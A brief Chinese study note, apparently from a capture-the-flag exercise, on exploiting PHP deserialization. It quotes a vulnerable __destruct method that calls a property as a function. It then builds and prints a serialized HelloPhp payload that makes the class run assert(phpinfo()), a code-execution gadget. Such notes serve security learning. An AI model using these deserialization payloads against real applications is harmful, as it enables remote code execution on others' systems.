知识点:
反序列化构造:
assert(phpinfo());
什么是assert
相当于就是if语句:
if(假设成立) { 程序正常运行; } else { 报错&&终止程序!(避免由程序运行引起更大的错误) }
如果assert里面的值成立,那么就执行,否则中断程序;
这里
关键代码:
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
<?php class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "phpinfo()"; $this->b = "assert"; } } $a = serialize(new HelloPhp); echo $a; ?> 结果:O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
就可以使用assert(phpinfo());